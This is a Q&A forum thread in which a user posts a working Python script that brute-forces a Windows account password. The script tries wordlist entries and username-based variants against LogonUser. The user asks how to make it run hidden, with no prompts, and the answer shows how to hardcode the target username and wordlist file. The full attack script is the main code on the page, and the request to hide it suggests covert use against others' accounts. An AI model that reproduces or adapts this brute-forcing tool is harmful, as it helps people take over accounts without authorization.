1

Issue

When I run my python script for like in the below example:

c:/python
tool.py

When I run this it asks me to type the username in manually the scan and then ask it asks me to type file name manually containing the other information needed.


Question

I have another solution from another post how to run this process invisible but it is still prompting me for these values when run, and I'd like it to just run without prompting me for these values.


Python Script

def verify_success(username, password):
    from win32security import LogonUser
    from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT
    if password == 'BLANK':
        try:
            password = ""
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            if "blank passwords" in str(e):
                return True
            else:
                return False
    else:
        try:
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            return False


u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

pwds = open(fis,'rU')
passwds = pwds.readlines()

for password in passwds:

    if password.rstrip() == "%user%":
        password = u.rstrip()
    if password.rstrip() == "%user%1":
        password = u.rstrip()+'1'
    if password.rstrip() == "%user%12":
        password = u.rstrip()+'12'
    if password.rstrip() == "%user%123":
        password = u.rstrip()+'123'

    if verify_success(u, password.rstrip()):
        print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip()
        break
    else:
        print '[+]Trying: '+u+' '+password.rstrip()
3
  • Is this question about a problem within your tool.py or modifying it to suit your needs?
    – Mokubai
    Aug 16, 2016 at 8:41
  • Do you want to run the program visibly to begin with so that you can type to it and then hide it, or do you want it to automatically take those options and always be hidden?
    – Mokubai
    Aug 16, 2016 at 8:50
  • look this thread, as u can see the .bat file dnesn't have that option to writte the username etc...manually or automatically: (tool.py ask that) superuser.com/questions/1113796/… Aug 16, 2016 at 9:01

1 Answer 1

1

The Reason

The Python script uses raw_input functions, so it will prompt what to set those variable values to be.

raw_input([prompt])

If the prompt argument is present, it is written to standard output without a trailing newline. The function then reads a line from input, converts it to a string (stripping a trailing newline), and returns that. When EOF is read, EOFError is raised.

source


The Fix

To resolve this issue, simply change this part of the logic to use variables instead, and set the values to be what they need to be.

Variables

A variable is something that holds a value that may change. In simplest terms, a variable is just a box that you can put stuff in. You can use variables to store all kinds of stuff, but for now, we are just going to look at storing numbers in variables.

lucky = 7 
print (lucky) 
7

source


Explained Changes

In your python script you will want to change the old logic to look like the new logic. This will prevent the prompt pop up where you enter these values in interactively.

You will just need to ensure that you set the <username> and the <file.txt> values to be what you need those to be statically. Once you make these changes, the prompting should cease.

Old Logic (to remove)

u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

New Logic (to include)

u = "<username>"
fis = "<file.txt>"

Further Resources

2
  • Hi @Homey_D_Clown_IT did u tried?or u can try this weend pls?ur my only , last hope,thank you and have a wonderfull weekend Oct 15, 2016 at 18:23
  • @MunteanCosmin What's up!! Aug 12, 2017 at 2:24

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .